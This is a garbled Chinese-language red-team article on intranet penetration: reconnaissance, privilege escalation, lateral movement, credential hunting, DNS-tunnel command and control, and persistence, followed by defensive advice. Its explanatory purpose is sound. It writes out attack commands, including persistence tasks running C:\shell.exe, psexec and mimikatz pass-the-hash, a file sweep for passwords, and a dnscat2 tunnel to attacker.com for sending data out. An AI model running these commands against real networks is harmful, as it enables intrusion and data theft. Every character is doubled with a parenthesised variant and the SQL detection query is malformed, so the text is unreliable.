1. 內(nèi)網(wǎng)滲透技術(shù)全景解析內(nèi)網(wǎng)滲透是安全測(cè)試中極具挑戰(zhàn)性的領(lǐng)域它模擬攻擊者在突破邊界防御后如何在企業(yè)內(nèi)部網(wǎng)絡(luò)中進(jìn)行橫向移動(dòng)、權(quán)限提升和數(shù)據(jù)竊取的全過(guò)程。不同于常規(guī)滲透測(cè)試內(nèi)網(wǎng)環(huán)境通常存在更多安全盲區(qū)——過(guò)時(shí)的系統(tǒng)版本、松散的內(nèi)網(wǎng)訪問(wèn)控制、缺乏監(jiān)控的橫向流量這些都使得內(nèi)網(wǎng)滲透成為企業(yè)真實(shí)攻防中最危險(xiǎn)的環(huán)節(jié)。我經(jīng)歷過(guò)數(shù)十次企業(yè)內(nèi)網(wǎng)滲透項(xiàng)目發(fā)現(xiàn)90%的內(nèi)網(wǎng)淪陷都源于基礎(chǔ)安全措施的缺失。攻擊者一旦突破邊界往往能在內(nèi)網(wǎng)長(zhǎng)驅(qū)直入。要有效防御這類攻擊必須首先理解攻擊者的技術(shù)體系。下面將拆解內(nèi)網(wǎng)滲透的五大核心技術(shù)模塊以及它們?cè)谡鎸?shí)攻防中的戰(zhàn)術(shù)價(jià)值。2. 內(nèi)網(wǎng)滲透核心技術(shù)棧2.1 信息收集滲透的基石內(nèi)網(wǎng)信息收集遠(yuǎn)不止簡(jiǎn)單的IP掃描。成熟的攻擊者會(huì)構(gòu)建完整的網(wǎng)絡(luò)拓?fù)? 基礎(chǔ)網(wǎng)絡(luò)探測(cè)示例需權(quán)限 arp -a # ARP緩存分析 netstat -ano # 活動(dòng)連接分析 route print # 路由表分析 nltest /domain_trusts # 域信任關(guān)系分析Windows主機(jī)信息收集特別關(guān)注用戶上下文whoami /all查看當(dāng)前權(quán)限、SID、特權(quán)列表系統(tǒng)配置systeminfo獲取補(bǔ)丁情況、wmic qfe list精確到KB編號(hào)域環(huán)境情報(bào)net group Domain Admins /domain定位高價(jià)值目標(biāo)實(shí)戰(zhàn)經(jīng)驗(yàn)在域環(huán)境中BloodHound工具能自動(dòng)繪制域內(nèi)關(guān)系圖。我曾通過(guò)分析AdminCount1的屬性發(fā)現(xiàn)被誤配置為域管理員的普通賬戶。2.2 權(quán)限提升突破防線的關(guān)鍵內(nèi)網(wǎng)滲透提權(quán)技術(shù)可分為三類系統(tǒng)層提權(quán)利用缺失補(bǔ)丁如CVE-2021-34527打印服務(wù)漏洞濫用服務(wù)權(quán)限SQL Server的xp_cmdshell劫持DLL/環(huán)境變量PATH路徑劫持應(yīng)用層提權(quán)# 檢查AlwaysInstallElevated策略 reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated域內(nèi)提權(quán)Kerberoasting攻擊導(dǎo)出服務(wù)賬戶SPN并離線爆破ACL濫用利用GenericAll等權(quán)限修改用戶屬性提權(quán)后務(wù)必進(jìn)行權(quán)限維持計(jì)劃任務(wù)schtasks /create /tn Update /tr C:\shell.exe /sc hourly服務(wù)植入sc create WinUpdate binPath C:\shell.exe start auto2.3 橫向移動(dòng)內(nèi)網(wǎng)擴(kuò)張的藝術(shù)橫向移動(dòng)技術(shù)對(duì)比表技術(shù)手段適用場(chǎng)景檢測(cè)難度工具示例WMI遠(yuǎn)程執(zhí)行多主機(jī)批量操作中wmic /node:192.168.1.2 process call create cmd.exeSMB共享訪問(wèn)文件系統(tǒng)滲透低psexec \192.168.1.2 -u user -p pass cmd.exeRDP會(huì)話劫持交互式控制高tscon 1 /dest:rdp-tcp#0票據(jù)傳遞(PTH)域環(huán)境快速擴(kuò)散極高mimikatz sekurlsa::pth避坑指南橫向移動(dòng)時(shí)避免使用明文密碼。在最近的攻防演練中攻擊隊(duì)因頻繁使用psexec觸發(fā)EDR告警而被溯源。2.4 數(shù)據(jù)收集與滲透內(nèi)網(wǎng)數(shù)據(jù)定位技巧敏感文件掃描# 搜索包含password的文檔 Get-ChildItem -Path C:\ -Include *.txt,*.xls,*.doc -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern password -List | Select Path瀏覽器憑證提取Chrome密碼解密需獲取Login Data文件和MasterKey使用SharpChromium工具自動(dòng)化提取2.5 隱蔽通信與持久化高級(jí)C2通信方案DNS隧道通過(guò)TXT記錄傳輸數(shù)據(jù)# dnscat2示例 dnscat2 --dns serverattacker.com --secretmykeyICMP隱蔽通道改寫(xiě)ICMP包載荷域內(nèi)機(jī)器作為跳板利用Exchange服務(wù)器轉(zhuǎn)發(fā)流量持久化技術(shù)演進(jìn)傳統(tǒng)方法注冊(cè)表Run鍵、啟動(dòng)文件夾中級(jí)技巧WMI事件訂閱、COM劫持高級(jí)手法域策略腳本、Golden Ticket3. 內(nèi)網(wǎng)滲透的實(shí)際價(jià)值3.1 攻防演練中的戰(zhàn)術(shù)作用在紅隊(duì)評(píng)估中內(nèi)網(wǎng)滲透能力直接決定攻擊深度。去年某次演練中我們通過(guò)以下路徑突破初始立足點(diǎn)釣魚(yú)郵件獲取的普通域賬號(hào)信息收集發(fā)現(xiàn)域控服務(wù)器未打MS17-010補(bǔ)丁橫向移動(dòng)通過(guò)EternalBlue擴(kuò)散到核心業(yè)務(wù)服務(wù)器權(quán)限提升獲取域管哈希后制作黃金票據(jù)數(shù)據(jù)滲透通過(guò)壓縮分卷DNS隧道外傳數(shù)據(jù)3.2 企業(yè)安全建設(shè)的鏡鑒通過(guò)內(nèi)網(wǎng)滲透測(cè)試可暴露過(guò)度信任問(wèn)題內(nèi)網(wǎng)缺乏分段隔離配置缺陷默認(rèn)共享未關(guān)閉、LLMNR/NBT-NS未禁用監(jiān)控盲區(qū)缺乏對(duì)橫向流量的行為分析某金融客戶案例測(cè)試發(fā)現(xiàn)其開(kāi)發(fā)環(huán)境到生產(chǎn)環(huán)境的單向信任關(guān)系導(dǎo)致開(kāi)發(fā)域淪陷后可直接跳轉(zhuǎn)到生產(chǎn)網(wǎng)絡(luò)。這促使客戶重建了網(wǎng)絡(luò)隔離策略。4. 防御者視角的應(yīng)對(duì)策略4.1 基礎(chǔ)防護(hù)措施網(wǎng)絡(luò)分段按業(yè)務(wù)劃分VLAN啟用防火墻微隔離權(quán)限最小化限制本地管理員權(quán)限實(shí)施Just Enough Administration補(bǔ)丁管理重點(diǎn)修復(fù)AD相關(guān)漏洞如Zerologon4.2 高級(jí)檢測(cè)手段異常登錄檢測(cè)-- 檢測(cè)非常規(guī)時(shí)間的域管登錄 SELECT * FROM SecurityEvents WHERE EventID4624 AND LogonType3 AND AccountName LIKE %admin% AND TimeGenerated 22:00 OR 06:00哈希傳遞攻擊識(shí)別監(jiān)控NTLM認(rèn)證中的LogonType9事件4.3 持續(xù)安全驗(yàn)證建議企業(yè)定期進(jìn)行自動(dòng)化內(nèi)網(wǎng)掃描使用BloodHound定期分析域內(nèi)權(quán)限關(guān)系紫隊(duì)演練紅藍(lán)協(xié)同驗(yàn)證防御體系有效性威脅狩獵針對(duì)ATTCK Tactic TA0008展開(kāi)專項(xiàng)狩獵內(nèi)網(wǎng)滲透技術(shù)就像一把雙刃劍。在最近一次為客戶做的安全評(píng)估中我們發(fā)現(xiàn)其財(cái)務(wù)系統(tǒng)的數(shù)據(jù)庫(kù)竟能被內(nèi)網(wǎng)任意主機(jī)訪問(wèn)。這種深層次的風(fēng)險(xiǎn)只有通過(guò)實(shí)戰(zhàn)化的內(nèi)網(wǎng)滲透才能充分暴露。建議安全團(tuán)隊(duì)不僅要學(xué)習(xí)攻擊技術(shù)更要理解其背后的防御哲學(xué)——真正的安全不在于完全杜絕入侵而在于讓攻擊者付出難以承受的代價(jià)。